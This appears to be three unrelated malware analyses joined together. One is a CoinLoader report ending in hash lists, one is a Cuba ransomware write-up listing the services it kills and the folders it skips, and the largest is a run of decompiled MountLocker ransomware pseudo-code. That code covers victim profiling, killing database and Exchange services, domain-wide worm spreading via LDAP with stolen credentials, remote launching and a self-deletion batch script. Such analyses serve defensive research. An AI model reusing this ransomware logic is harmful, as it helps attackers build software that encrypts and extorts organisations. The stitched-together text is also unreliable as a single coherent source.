Msimg32.dll writes a number of files that include the Apple push application and the malicious AppleVersions.dll to a “super” hidden directory under `%windir%/SysWOW64/Speech/Engines/`. In some cases, it also writes data.dll. Both the directory name within the Speech/Engines and the APSDaemon.exe file name are randomized under given constraints.
The APSDaemon.exe new name starts with “fb_” or “rb_” (“fb_<number>.exe”). The directory name starts with “Q-”.
Msimg32.dll creates a scheduled task for persistence; in most cases, we have observed a GoogleUpdateTask that will execute every 15 minutes. Note: the scheduled task is created with system privileges; you will need system privileges to view it.
Note: to access the folder, you will need to disable hidden privileges (`attrib -h -s`).
3. CoinLoader Shellcode
VirusTotal and other third-party tools have classified some of the AppleVersions.dll versions in a very generic way, while some DLL versions have got a clear CoinLoader classification, yet with a relatively low detection ratio. We have decided to investigate some of those and identified interesting techniques to extract modules and functions from within the memory (known but rare).
More specifically, their shellcode implemented a variation of the Fowler–Noll–Vo hash algorithm to compare module names and function names during the iteration over the Process environment block structure. This significantly increased their chances to evade security vendors that are looking for the regular hash signatures in memory (all leading vendors are looking for the ROR-13 hash patterns as those are implemented as part of the default code injection framework unless the framework is recompiled).
## Conclusions
Malware has become much more evasive without relation to its type or category. This evasiveness manifests itself through whitelisting bypass, fileless techniques, and in-memory execution. Looking for suspicious memory patterns is not enough and will not hold for long, which makes prevention a clear necessity.
COVID-19 is the perfect time for adversaries to hunt for new and less protected environments; WFH (work from home) is such an environment without a proper network protection stack, without proper hardening, and without proper IT management and enforcement.
Morphisec protects such environments without applying any sort of detection by executing Moving Target Defense against the same adversaries.
## Artifacts
**AppleVersions.dll**
be2e196f2920766f4bd63c1c8b566f3546e3fa94e49a1d9ccbc7d5eab54bca2c
171efee993d8f3b6511cf2db29c5f73179706835a23bdd56e19760a5178763d7
5e0299afdc9a0a37b364be15520b274565a6eb3894aefb6d9a4fd922a045e919
99b8b6c1063dcdfd1e48819047543d03a2c3b1668f34ded03caae011ebeaf077
d5511bbf5c3242e9bf286cbd158f9b29f7f279539a2f4b6a0ffb5551bcf6ddab
90fce0aec20449e9dc200bd661fa27cd76ffb64a1d998753e9022d618cd6f3dc
288a5cbc213c992991a2c26827bf6dd0c49570797a8be681db3bffc8169302b1
84bfa4c1d0a5fdb3bb92e5df208aa4380147edb20ae5138482d46a4f286ed16c
9e1d1ad0ed4d3a6c91d760140c63f1fc667ef26c5235fe3cac9ceaa412b3dfe7
0607b96955d0d892f7ed07c238a608d88b4af8e0da3e23a74257788c1642f3d5
422d0124825e9aa80d947440de9924a9f30fa06d110f9b6f77a183130892584e
048f0a2ab98627a8c9181e5d867b8114e648afa718ed11830c29882e07556ec4
05f82d05e2281a431ab92056718b11073fb0a2ea65dc2ab646f38b5b4ef88285
36715e5bd086735793d2f2f708cce7e8bd2e9962d4a64e38f79b5b78a87f1a5e
5e78e29357a07517ff907d9cd10b9ec41f5132d84e55aa3ba3e9b95ee854f507
b336e88760604e2bc6e11b64357f0ca9ce940860e25a2e0eea4b16f2bb01b11d
b0fb503452c986755b12466bb7e078e9c1a7dd94b3bc918aabd905dcc831e4ed
920bb63ff5674de12508caa1b6e54e8dfe7c4c4c92e790fd69d3e79ed069cd35
f04611b23d9eade1378205f68e16d68196121ff183420a191b71553a0b210d4d
9bd4695e1c47a07c7d9667093580f99ad8d5a83090d537dcabb235b06bb88d8e
6bc08768a5c3136de42e05d8051c2d17a7c65712363f75d8e56c015ac023a3f0
fb3039cbc5dc39017d67de2b39971d30c836efd2370b3a16177979dbbebbb88a
a14837ba556522a151b507360baaf42285cadaf75bdb0b15f86ada031833e27a
088388c4aed1eecd75d93d95eb41cfea563cbcf2ef324e2d1817797da4dc0215
26a112534dd567f95d2f78f15c6a0d41507c32b190a6023eeaea11e20bc33f3a
9de38aa482828653edf5d1cc4a6631af79c95082ba9cdf67b7929d33bc7e42c1
843207d8bf91d6345943941292ade06a3f3d78d3c7a381d03a06618dc9690056
**Msimg32.dll**
6dc8f7a18e1fd63e741635670ce8b1a96149f50cb10b672edf2f58f3cbb9898c
6e1dc8519b4663e14116363029be7d290d22cea4198884c79a9b3c036ff8c3d5
4109fc98007e41d7cf63547c29b6c558c67dec938d280c8ed091eafdccce2732
f0d4f8c304032a1087d8a70978943bf7fcd9d69df514e2efa03ddc264403b9ff
f0b9910df11b920d27da387eb4cabe5db21e07166aaf530fd877698225b7588e
a86158e10fda310befe2678e77fb82742e7e486ae153f9792dc630625efcf1e9
8da42709a5e6ab3dd66f31eb76efed0026d0d580849e44da1bbc3315170566fa
bd9713d2710851854cc3ec33807639df450d0a7665d238ebff14a8b434426379
6dc8f7a18e1fd63e741635670ce8b1a96149f50cb10b672edf2f58f3cbb9898c
aebe99b84f571b460d6e05b2b7b644cb6c11e891b625390963e57ec5470ea15b |
# MountLocker – Some Pseudo-Code Snippets
## Generate CLIENT_ID
```c
for (client_id_pos = StrStrIA(psz_recovery_manual_ransom_note, "%CLIENT_ID%"); client_id_pos; client_id_pos = StrStrIA(psz_recovery_manual_ransom_note, "%CLIENT_ID%")) {
cnt = 32i64;
client_id_str = g_str_879538e20b82e80052dd5f7ef9ad5077;
do {
client_id_str[client_id_pos - g_str_879538e20b82e80052dd5f7ef9ad5077] = *client_id_str;
++client_id_str;
--cnt;
} while (cnt);
ptr_curr_pos = client_id_pos + 32;
for (j = 0i64; j < 16; ++j) {
*ptr_curr_pos = str_0123456789abcdef[(unsigned __int64)(unsigned __int8)szComputerName[j] >> 4];
ptr_next_pos = ptr_curr_pos + 1;
ch_ = szComputerName[j];
*ptr_next_pos = str_0123456789abcdef[ch_ & 0xF];
ptr_curr_pos = ptr_next_pos + 1;
}
}
```
## Create Registry Key for Opening RecoveryManual.html
```c
wsprintfW(pwzSubKey, L"Software\\Classes\\.%0.8X\\shell\\Open\\command", g_0xF638D8A0);
cbData = lstrlenW(L"explorer.exe RecoveryManual.html");
SHRegSetUSValueW(pwzSubKey, &pwzValue, 1u, L"explorer.exe RecoveryManual.html", 2 * cbData, SHREGSET_FORCE_HKCU);
```
## Create Log File if /NOLOG is Not Set
```c
if (!g_nolog_flag) {
lstrcpyW(lpLogFile, lpMountLockerPath);
lstrcatW(lpLogFile, L".log");
h_log_file = CreateFileW(lpLogFile, GENERIC_WRITE | GENERIC_READ, 3u, 0i64, CREATE_ALWAYS, 0, 0i64);
if (h_log_file == (HANDLE)INVALID_HANDLE_VALUE) {
h_log_file = 0i64;
} else {
g_log_file_and_console_flag = 1;
}
}
if (g_console_flag && AllocConsole()) {
hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE);
if (hConsoleOutput == (HANDLE)INVALID_HANDLE_VALUE) {
hConsoleOutput = 0i64;
} else {
g_log_file_and_console_flag = 1;
}
}
```
## Collect Victim’s System Info
```c
int __stdcall f_ml_collect_and_log_victim_info() {
__int64 win_arch_value; // r8
_BOOL join_domain_status; // eax
const wchar_t *szYesNo; // rbx MAPDST
LPWSTR lpCmdLine; // rax
SYSTEM_PROCESSOR_INFORMATION NativeSystemInformation; // [rsp+30h] [rbp-D0h]
struct _SYSTEM_INFO SystemInfo; // [rsp+40h] [rbp-C0h]
struct _MEMORYSTATUS Buffer; // [rsp+70h] [rbp-90h]
struct _OSVERSIONINFOW VersionInformation; // [rsp+B0h] [rbp-50h]
unsigned __int16 v10; // [rsp+1C4h] [rbp+C4h]
WCHAR wsz_infoBuf[272]; // [rsp+1D0h] [rbp+D0h]
DWORD bufCharCount; // [rsp+400h] [rbp+300h]
enum _NETSETUP_JOIN_STATUS JoinStatus; // [rsp+408h] [rbp+308h]
LPWSTR NameBuffer; // [rsp+410h] [rbp+310h]
f_ml_write_format_string_to_log_file_or_console(3, L"========== SYS INFO ========== \r\n");
GetSystemInfo(&SystemInfo);
f_ml_write_format_string_to_log_file_or_console(3, L"CORE COUNT:\t%u\r\n", SystemInfo.dwNumberOfProcessors);
GlobalMemoryStatus(&Buffer);
f_ml_write_format_string_to_log_file_or_console(3, L"TOTAL MEM:\t%u MB\r\n", Buffer.dwTotalPhys >> 0x14);
memset(&VersionInformation, 0, 0x11Cu);
VersionInformation.dwOSVersionInfoSize = 0x11C;
if (!RtlGetVersion(&VersionInformation)) {
f_ml_write_format_string_to_log_file_or_console(3, L"WIN VER:\t%u.%u.%u SP%u\r\n", VersionInformation.dwMajorVersion, VersionInformation.dwMinorVersion, VersionInformation.dwBuildNumber, v10);
}
if (!(unsigned int)RtlGetNativeSystemInformation(1i64, &NativeSystemInformation, 0xCi64)) {
win_arch_value = CPU_ARCH_x86;
if (NativeSystemInformation.ProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) {
win_arch_value = CPU_ARCH_x64;
}
f_ml_write_format_string_to_log_file_or_console(3, L"WIN ARCH:\tx%u\r\n", win_arch_value);
}
bufCharCount = 0xFA;
if (GetUserNameW(wsz_infoBuf, &bufCharCount)) {
wsz_infoBuf[bufCharCount] = 0;
f_ml_write_format_string_to_log_file_or_console(3, L"USER NAME:\t%s\r\n", wsz_infoBuf);
}
bufCharCount = 0xFA;
if (GetComputerNameW(wsz_infoBuf, &bufCharCount)) {
wsz_infoBuf[bufCharCount] = 0;
f_ml_write_format_string_to_log_file_or_console(3, L"PC NAME:\t%s\r\n", wsz_infoBuf);
}
JoinStatus = NetSetupUnknownStatus;
NameBuffer = 0i64;
if (NetGetJoinInformation(0i64, &NameBuffer, &JoinStatus)) {
join_domain_status = 0; // NetSetupUnknownStatus
} else {
NetApiBufferFree(NameBuffer);
*(_QWORD *)&join_domain_status = JoinStatus == NetSetupDomainName; // The computer is joined to a domain.
}
szYesNo = L"NO";
if (join_domain_status) {
szYesNo = L"YES"; // computer is joined domain
}
f_ml_write_format_string_to_log_file_or_console(3, L"IN DOMAIN:\t%s\r\n", szYesNo);
if (g_isAdmin) {
szYesNo = L"YES";
}
f_ml_write_format_string_to_log_file_or_console(3, L"IS ADMIN:\t%s\r\n", szYesNo);
f_ml_log_group_infos();
lpCmdLine = GetCommandLineW();
return f_ml_write_format_string_to_log_file_or_console(3, L"CMDLINE:\t%s\r\n", lpCmdLine);
}
```
## Result
```
========== SYS INFO ==========
CORE COUNT: 4
TOTAL MEM: 4095 MB
WIN VER: 6.1.7601 SP1
WIN ARCH: x64
USER NAME: xxxxx
PC NAME: xxxxx-PC
IN DOMAIN: NO
IS ADMIN: YES
IN GROUPS:
Mandatory xxxxx-PC\None
Mandatory \Everyone
Mandatory NT AUTHORITY\Local account and member of Administrators group
Mandatory BUILTIN\Administrators
Mandatory BUILTIN\Users
Mandatory NT AUTHORITY\INTERACTIVE
Mandatory \CONSOLE LOGON
Mandatory NT AUTHORITY\Authenticated Users
Mandatory NT AUTHORITY\This Organization
Mandatory NT AUTHORITY\Local account
Mandatory \LOCAL
Mandatory NT AUTHORITY\NTLM Authentication
Integrity Mandatory Label\High Mandatory Level
CMDLINE: "mount_locker.exe"
```
## Kill Services
```c
int f_ml_kill_services_and_log_info() {
SC_HANDLE schSCManager; // rdi
HANDLE h_proc_heap; // rax MAPDST
struct _ENUM_SERVICE_STATUSA *lpServices; // rax MAPDST
int ret; // esi
__int64 svc_cnt; // rbx
int result; // eax
DWORD win32_err_code; // eax
WCHAR *err_str; // r8
WCHAR v10[36]; // [rsp+40h] [rbp-48h]
DWORD NumServicesReturned; // [rsp+90h] [rbp+8h]
DWORD ResumeHandle; // [rsp+98h] [rbp+10h]
DWORD pcbBytesNeeded; // [rsp+A0h] [rbp+18h]
f_ml_write_format_string_to_log_file_or_console(3, L"\r\n================================\r\n");
f_ml_write_format_string_to_log_file_or_console(3, L" KILL SERVICE\r\n");
f_ml_write_format_string_to_log_file_or_console(3, L"================================\r\n");
ResumeHandle = 0;
schSCManager = OpenSCManagerA(0i64, 0i64, SC_MANAGER_ALL_ACCESS);
if (!schSCManager) {
goto log_error;
}
h_proc_heap = GetProcessHeap();
lpServices = (struct _ENUM_SERVICE_STATUSA *)HeapAlloc(h_proc_heap, HEAP_ZERO_MEMORY, 0x40001ui64);
if (!lpServices) {
CloseServiceHandle(schSCManager);
log_error:
win32_err_code = GetLastError();
if ((win32_err_code & 0xFFFF0000) == 0x80070000) {
win32_err_code = (unsigned __int16)win32_err_code;
}
switch (win32_err_code) {
case ERROR_LOGON_FAILURE:
err_str = L"LOGON_ERROR";
break;
case 5u:
err_str = L"ACCESS_DENIED";
break;
case 8u:
err_str = L"NOT_ENOUGH_MEMORY";
break;
case 0x35u:
err_str = L"BAD_PATH_OR_OFFLINE";
break;
default:
wsprintfW(v10, L"%0.8X", win32_err_code);
err_str = v10;
break;
}
return f_ml_write_format_string_to_log_file_or_console(3, L"[ERROR] locekr.kill.service > get services list error=%s\r\n", err_str);
}
ret = EnumServicesStatusA(schSCManager, SERVICE_WIN32, 1u, lpServices, 0x40000u, &pcbBytesNeeded, &NumServicesReturned, &ResumeHandle);
if (ret) {
svc_cnt = 0i64;
if (NumServicesReturned) {
while (1) {
ret = f_ml_terminate_service_and_log_info(schSCManager, (PCSTR *)&lpServices[svc_cnt].lpServiceName);
if (!ret) {
break;
}
svc_cnt = (unsigned int)(svc_cnt + 1);
if ((unsigned int)svc_cnt >= NumServicesReturned) {
goto exit_sub;
}
}
ret = 1;
}
}
exit_sub:
h_proc_heap = GetProcessHeap();
HeapFree(h_proc_heap, 0, lpServices);
result = CloseServiceHandle(schSCManager);
if (!ret) {
goto log_error;
}
return result;
}
```
## Terminate Service
```c
__int64 __fastcall f_ml_terminate_service_and_log_info(SC_HANDLE schSCManager, PCSTR *lpServiceName) {
DWORD v4; // er8
int ret; // eax
const wchar_t *kill_service_status; // rdx
if (!StrStrIA(*lpServiceName, "SQL") && !StrStrIA(*lpServiceName, "database") && !StrStrIA(*lpServiceName, "msexchange") && !StrStrIA(lpServiceName[1], "SQL") && !StrStrIA(lpServiceName[1], "database") && !StrStrIA(lpServiceName[1], "msexchange")) {
return 1i64;
}
f_ml_write_format_string_to_log_file_or_console(3, L"%S... ", *lpServiceName);
ret = f_ml_terminate_service(schSCManager, *lpServiceName, v4);
if (ret >= 0) {
kill_service_status = L"timeout\r\n";
if (ret) {
kill_service_status = L"ok\r\n";
}
} else {
kill_service_status = L"fail\r\n";
}
f_ml_write_format_string_to_log_file_or_console(3, kill_service_status);
return 1i64;
}
```
## Kill Processes
```c
int __stdcall f_ml_kill_processes_and_log_info() {
DWORD curr_proc_id; // esi
SYSTEM_PROCESS_INFORMATION *SystemInformation; // rdx
SIZE_T dwBytes; // rbx
HANDLE h_proc_heap; // rax MAPDST
SYSTEM_PROCESS_INFORMATION *system_proc_info; // rax MAPDST
unsigned int status; // eax
int nChar; // eax
DWORD win32_err_code; // eax
WCHAR *err_str; // r8
WCHAR v14[24]; // [rsp+40h] [rbp-C0h]
CHAR process_name[272]; // [rsp+70h] [rbp-90h]
ULONG SystemInformationLength; // [rsp+1A0h] [rbp+A0h]
f_ml_write_format_string_to_log_file_or_console(3, L"\r\n================================\r\n");
f_ml_write_format_string_to_log_file_or_console(3, L" KILL PROCESS\r\n");
f_ml_write_format_string_to_log_file_or_console(3, L"================================\r\n");
system_proc_info = 0i64;
SystemInformationLength = 0;
*(_QWORD *)&curr_proc_id = GetCurrentProcessId();
for (SystemInformation = 0i64;; SystemInformation = system_proc_info) {
status = ZwQuerySystemInformation(SystemProcessInformation, SystemInformation, SystemInformationLength, &SystemInformationLength);
if (status != (unsigned int)STATUS_INFO_LENGTH_MISMATCH) {
break;
}
if (!SystemInformationLength) {
goto log_error_info;
}
dwBytes = SystemInformationLength + 1i64;
h_proc_heap = GetProcessHeap();
system_proc_info = (SYSTEM_PROCESS_INFORMATION *)(system_proc_info ? HeapReAlloc(h_proc_heap, HEAP_ZERO_MEMORY, system_proc_info, dwBytes) : HeapAlloc(h_proc_heap, HEAP_ZERO_MEMORY, dwBytes));
if (!system_proc_info) {
goto log_error_info;
}
}
if (status) {
SetLastError(status);
if (system_proc_info) {
h_proc_heap = GetProcessHeap();
HeapFree(h_proc_heap, 0, system_proc_info);
}
} else if (system_proc_info) {
while (1) {
if ((unsigned __int64)system_proc_info->UniqueProcessId & 0xFFFFFFFFFFFFFFFBui64 && system_proc_info->NumberOfThreads && system_proc_info->UniqueProcessId != *(HANDLE *)&curr_proc_id && system_proc_info->ImageName.Buffer && system_proc_info->ImageName.Length) {
process_name[0] = 0;
nChar = WideCharToMultiByte(0, 0, system_proc_info->ImageName.Buffer, system_proc_info->ImageName.Length >> 1, process_name, MAX_PATH, 0i64, 0i64);
if (nChar < 0) {
process_name[0] = 0;
} else {
process_name[nChar] = 0;
}
if (!f_ml_terminate_process(process_name, system_proc_info)) {
break;
}
}
if (!system_proc_info->NextEntryOffset) {
break;
}
system_proc_info = (SYSTEM_PROCESS_INFORMATION *)((char *)system_proc_info + system_proc_info->NextEntryOffset);
}
h_proc_heap = GetProcessHeap();
return HeapFree(h_proc_heap, 0, system_proc_info);
}
log_error_info:
win32_err_code = GetLastError();
if ((win32_err_code & 0xFFFF0000) == 0x80070000) {
win32_err_code = (unsigned __int16)win32_err_code;
}
switch (win32_err_code) {
case 0x52Eu:
err_str = L"LOGON_ERROR";
break;
case 5u:
err_str = L"ACCESS_DENIED";
break;
case 8u:
err_str = L"NOT_ENOUGH_MEMORY";
break;
case 0x35u:
err_str = L"BAD_PATH_OR_OFFLINE";
break;
default:
wsprintfW(v14, L"%0.8X", win32_err_code);
err_str = v14;
break;
}
return f_ml_write_format_string_to_log_file_or_console(3, L"[ERROR] locekr.kill.process > get process list error=%s\r\n", err_str);
}
```
## Check File Extension
```c
unsigned int __fastcall f_ml_check_extension_in_ignored_list(WCHAR *file_name) {
WCHAR curr_char; // r8
WCHAR *v2; // rdx
WCHAR *psz_extension; // rax
_WORD *ext_name_pos; // rdx
__int64 i; // rcx
signed __int64 offset; // r8
const WCHAR *pwsz_ignored_ext_list; // rax
__int64 ignored_ext_idx; // rbx
WCHAR psz1[36]; // [rsp+20h] [rbp-48h]
curr_char = *file_name;
v2 = 0i64;
if (!*file_name) {
return 0;
}
do {
psz_extension = file_name;
if (curr_char != '.') {
psz_extension = v2;
}
++file_name;
v2 = psz_extension;
curr_char = *file_name;
} while (*file_name);
if (!psz_extension) {
return 0;
}
ext_name_pos = psz_extension + 1;
i = 0i64;
if (psz_extension[1]) {
offset = (char *)psz1 - (char *)ext_name_pos;
while (i != 30) {
++i;
*(_WORD *)((char *)ext_name_pos + offset) = *ext_name_pos;
++ext_name_pos;
if (!*ext_name_pos) {
goto chec_in_avoid_list;
}
}
} else {
chec_in_avoid_list:
psz1[i] = 0;
if (i) {
pwsz_ignored_ext_list = g_ignored_extension_list;
ignored_ext_idx = 0i64;
while (pwsz_ignored_ext_list) {
if (!StrCmpIW(psz1, pwsz_ignored_ext_list)) {
return 1;
}
pwsz_ignored_ext_list = (&g_ignored_extension_list)[++ignored_ext_idx];
}
}
}
return 0;
}
```
## Worm Feature
```c
unsigned int __fastcall f_ml_enum_pc_into_domain_via_LDAP(ml_worm_info *worm_info) {
const WCHAR *wsz_UserName; // rbx
const WCHAR *wsz_Password; // rsi
DWORD err_code; // eax
HRESULT v6; // edx
MACRO_NERR hres; // ebx MAPDST
HRESULT res; // eax
HRESULT err_code_1; // er8
WCHAR *err_str; // r8
WCHAR v12[24]; // [rsp+30h] [rbp-D0h]
WCHAR lpszLDAPPathName[280]; // [rsp+60h] [rbp-A0h]
IDirectorySearch *pDSSearch; // [rsp+2A0h] [rbp+1A0h]
__int64 phSearchResult; // [rsp+2A8h] [rbp+1A8h]
LPBYTE lpDcName; // [rsp+2B0h] [rbp+2B0h]
const wchar_t *wsz_name; // [rsp+2B8h] [rbp+1B8h]
wsz_name = L"name";
f_ml_write_format_string_to_log_file_or_console(3, L"Enum PC into domain...\r\n");
wsz_UserName = g_szUserName;
wsz_Password = g_szPassword;
lpDcName = 0i64;
lstrcpyW(lpszLDAPPathName, L"LDAP://");
err_code = NetGetDCName(0i64, 0i64, &lpDcName);
hres = NERR_DCNotFound;
if (err_code == NERR_DCNotFound) {
v6 = NERR_DCNotFound;
} else {
if (!err_code && lpDcName) {
lstrcatW(lpszLDAPPathName, (LPCWSTR)lpDcName + 2);
NetApiBufferFree(lpDcName);
}
hres = ADsOpenObject(lpszLDAPPathName, wsz_UserName, wsz_Password, 0, &IID_IDirectorySearch, (void **)&pDSSearch);
if (hres == NERR_Success) {
hres = (unsigned int)pDSSearch->lpVtbl->ExecuteSearch(pDSSearch, L"(objectClass=computer)", &wsz_name, 1i64, &phSearchResult);
if (hres == NERR_Success) {
for (res = pDSSearch->lpVtbl->GetFirstRow(pDSSearch, phSearchResult); ; res = pDSSearch->lpVtbl->GetNextRow(pDSSearch, phSearchResult)) {
hres = res;
if (res) {
break;
}
hres = f_ml_extract_DN_string_and_setup_stru_func(pDSSearch, phSearchResult, worm_info);
if (hres) {
break;
}
}
pDSSearch->lpVtbl->CloseSearchHandle(pDSSearch, phSearchResult);
}
pDSSearch->lpVtbl->Release(pDSSearch);
hres = NERR_Success;
}
v6 = hres;
if (hres == NERR_Success) {
sub_140003290(worm_info);
f_ml_write_format_string_to_log_file_or_console(3, L"Enum PC into domain... FINISHED\r\n");
return 1;
}
}
err_code_1 = (unsigned __int16)hres;
if ((hres & 0xFFFF0000) != 0x80070000) {
err_code_1 = v6;
}
switch (err_code_1) {
case 0x52E:
err_str = L"LOGON_ERROR";
break;
case 5:
err_str = L"ACCESS_DENIED";
break;
case 8:
err_str = L"NOT_ENOUGH_MEMORY";
break;
case 0x35:
err_str = L"BAD_PATH_OR_OFFLINE";
break;
default:
wsprintfW(v12, L"%0.8X");
err_str = v12;
break;
}
f_ml_write_format_string_to_log_file_or_console(3, L"[ERROR] locker.worm > enum pc into domain error=%s\r\n", err_str);
return 0;
}
```
## Execute Payload
```c
__int64 __fastcall f_ml_launch_ransomware_remotely(WCHAR *DN_PC_Name) {
int ret; // edi
DWORD connRes; // eax MAPDST
WCHAR *err_str; // r8
HANDLE h_proc_heap; // rax
WCHAR v8[24]; // [rsp+20h] [rbp-B8h]
WCHAR Name[68]; // [rsp+50h] [rbp-88h]
ret = 0;
if (g_szUserName) {
connRes = f_ml_establish_connection_with_remote_pc(DN_PC_Name, g_szUserName, g_szPassword);
if (connRes) {
if ((connRes & 0xFFFF0000) == 0x80070000) {
connRes = (unsigned __int16)connRes;
}
switch (connRes) {
case 0x52Eu:
err_str = L"LOGON_ERROR";
break;
case 5u:
err_str = L"ACCESS_DENIED";
break;
case 8u:
err_str = L"NOT_ENOUGH_MEMORY";
break;
case 0x35u:
err_str = L"BAD_PATH_OR_OFFLINE";
break;
default:
wsprintfW(v8, L"%0.8X");
err_str = v8;
break;
}
f_ml_write_format_string_to_log_file_or_console(1, L"[WARN] locker.worm > logon on server error=%s pcname=%s \r\n", err_str, DN_PC_Name);
} else {
ret = 1;
}
}
f_ml_drop_and_launch_ransomware(DN_PC_Name);
if (ret) {
wsprintfW(Name, L"\\\\%s", DN_PC_Name);
WNetCancelConnection2W(Name, 0, 1);
}
if (!DN_PC_Name) {
return 0i64;
}
h_proc_heap = GetProcessHeap();
HeapFree(h_proc_heap, 0, DN_PC_Name);
return 0i64;
}
```
## Update Log Stats
```c
f_ml_write_format_string_to_log_file_or_console(a1, L"==[ STATS ]=======================\r\n");
f_ml_write_format_string_to_log_file_or_console(a1, L"Total crypted:\t%.3f GB\t\t\r\n", (float)((float)(int)qword_140013360 * 9.3132257e-10));
f_ml_write_format_string_to_log_file_or_console(a1, L"Crypt Avg:\t%0.3f MB/s\t\t\r\n", crypt_avg);
f_ml_write_format_string_to_log_file_or_console(a1, L"Files:\t\t%0.3f files/s\t\t\r\n", num_files);
f_ml_write_format_string_to_log_file_or_console(a1, L"Time:\t\t%u sec\t\t\r\n", time);
f_ml_write_format_string_to_log_file_or_console(a1, L"==[ DIRS ]========================\r\n");
f_ml_write_format_string_to_log_file_or_console(a1, L"Total:\t\t%u\t\t\r\n", dword_140013350);
f_ml_write_format_string_to_log_file_or_console(a1, L"Skipped:\t%u\t\t\r\n", dword_140013354);
f_ml_write_format_string_to_log_file_or_console(a1, L"Error:\t\t%u\t\t\r\n", dword_140013358);
f_ml_write_format_string_to_log_file_or_console(a1, L"==[ FILES ]=======================\r\n");
f_ml_write_format_string_to_log_file_or_console(a1, L"Total:\t\t%u\t\t\r\n", dword_140013320);
f_ml_write_format_string_to_log_file_or_console(a1, L"Locked:\t\t%u\t\t\r\n", dword_140013324);
f_ml_write_format_string_to_log_file_or_console(a1, L"==[ FILES SKIPPED ]===============\r\n");
f_ml_write_format_string_to_log_file_or_console(a1, L"Black:\t\t%u\t\t\r\n", dword_140013328);
f_ml_write_format_string_to_log_file_or_console(a1, L"Locked:\t\t%u\t\t\r\n", dword_14001332C);
f_ml_write_format_string_to_log_file_or_console(a1, L"Manual:\t\t%u\t\t\r\n", dword_140013330);
f_ml_write_format_string_to_log_file_or_console(a1, L"Prog:\t\t%u\t\t\r\n", dword_140013334);
f_ml_write_format_string_to_log_file_or_console(a1, L"Size:\t\t%u\t\t\r\n", dword_140013338);
f_ml_write_format_string_to_log_file_or_console(a1, L"==[ FILE ERROR ]==================\r\n");
f_ml_write_format_string_to_log_file_or_console(a1, L"Open:\t\t%u\t\t\r\n", dword_14001333C);
f_ml_write_format_string_to_log_file_or_console(a1, L"Read:\t\t%u\t\t\r\n", dword_140013344);
f_ml_write_format_string_to_log_file_or_console(a1, L"Write:\t\t%u\t\t\r\n", dword_140013348);
f_ml_write_format_string_to_log_file_or_console(a1, L"Pos:\t\t%u\t\t\r\n", dword_14001334C);
f_ml_write_format_string_to_log_file_or_console(a1, L"Rename:\t\t%u\t\t\r\n", dword_140013340);
```
## Self-Deletion
```c
if (!g_nodel_flag) {
f_ml_exec_self_deletion();
}
__int64 f_ml_exec_self_deletion() {
__int64 tmp_path_len; // rbx
DWORD rand_num; // eax
struct _STARTUPINFOW StartupInfo; // [rsp+50h] [rbp-B0h]
struct _PROCESS_INFORMATION ProcessInformation; // [rsp+C0h] [rbp-40h]
WCHAR wsz_temp_path[264]; // [rsp+E0h] [rbp-20h]
WCHAR CommandLine[264]; // [rsp+2F0h] [rbp+1F0h]
tmp_path_len = GetTempPathW(MAX_PATH, wsz_temp_path);
rand_num = GetTickCount();
wsprintfW(&wsz_temp_path[tmp_path_len], L"\\%0.8X.bat", rand_num);
if (!f_ml_create_file(wsz_temp_path, "attrib -s -r -h %1\r\n:l\r\ndel /F /Q %1\r\nif exist %1 goto l\r\ndel %0 ", 0x41u)) {
return 0i64;
}
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 0x68;
StartupInfo.dwFlags = 1;
StartupInfo.wShowWindow = 0;
wsprintfW(CommandLine, L"\"%s\" \"%s\"", wsz_temp_path, lpMountLockerPath);
if (CreateProcessW(0i64, CommandLine, 0i64, 0i64, 0, CREATE_NO_WINDOW, 0i64, 0i64, &StartupInfo, &ProcessInformation)) {
ExitProcess(0);
}
return 0i64;
}
``` |
# Cuba Ransomware Group’s New Variant Found Using Optimized Infection Techniques
Cuba ransomware is a malware family that has been seasonally detected since it was first observed in February 2020. It resurfaced in November 2021 based on the FBI’s official notice and has reportedly attacked 49 organizations in five critical infrastructure sectors, amassing at least US$ 43.9 million in ransom payments.
We observed Cuba ransomware’s resurgence in March and April this year. Our monitoring showed that the malware authors seem to be pushing some updates to the current binary of a new variant. The samples we examined in March and April used BUGHATCH, a custom downloader that the malicious actor did not employ in previous variants specifically for the staging phase of the infection routine.
In late April, we also noticed another variant of the ransomware, this time targeting two organizations based in Asia. This blog entry focuses on our analysis of the latest samples uncovered from this period.
While the updates to Cuba ransomware did not change much in terms of overall functionality, we have reason to believe that the updates aim to optimize its execution, minimize unintended system behavior, and provide technical support to the ransomware victims if they choose to negotiate.
Our analysis of the new variant revealed that the malicious actor added some processes and services to terminate the following:
- MySQL
- MySQL80
- SQLSERVERAGENT
- MSSQLSERVER
- SQLWriter
- SQLTELEMETRY
- MSDTC
- SQLBrowser
- sqlagent.exe
- sqlservr.exe
- sqlwriter.exe
- sqlceip.exe
- msdtc.exe
- sqlbrowser.exe
- vmcompute
- vmms
- vmwp.exe
- vmsp.exe
- outlook.exe
- MSExchangeUMCR
- MSExchangeUM
- MSExchangeTransportLogSearch
- MSExchangeTransport
- MSExchangeThrottling
- MSExchangeSubmission
- MSExchangeServiceHost
- MSExchangeRPC
- MSExchangeRepl
- MSExchangePOP3BE
- MSExchangePop3
- MSExchangeNotificationsBroker
- MSExchangeMailboxReplication
- MSExchangeMailboxAssistants
- MSExchangeIS
- MSExchangeIMAP4BE
- MSExchangeImap4
- MSExchangeHMRecovery
- MSExchangeHM
- MSExchangeFrontEndTransport
- MSExchangeFastSearch
- MSExchangeEdgeSync
- MSExchangeDiagnostics
- MSExchangeDelivery
- MSExchangeDagMgmt
- MSExchangeCompliance
- MSExchangeAntispamUpdate
- Microsoft.Exchange.Store.Worker.exe
Another apparent change is the expansion of the safelisted directories and file extensions that it will avoid encrypting:
**Directory Safelist:**
- \windows\
- \program files\microsoft office\
- \program files (x86)\microsoft office\
- \program files\avs\
- \program files (x86)\avs\
- \$recycle.bin\
- \boot\
- \recovery\
- \system volume information\
- \msocache\
- \users\all users\
- \users\default user\
- \users\default\
- \temp\
- \inetcache\
- \google\
**Extension Safelist:**
- .exe
- .dll
- .sys
- .ini
- .lnk
- .vbm
- .cuba
We compared the new variant used in late April 2022 to the previous ones and found that the former did not have all the commands or functions that came with the latter. The malicious actors only retained two commands in the new one that are directory- or location-related phrases. These are as follows:
- local
- network
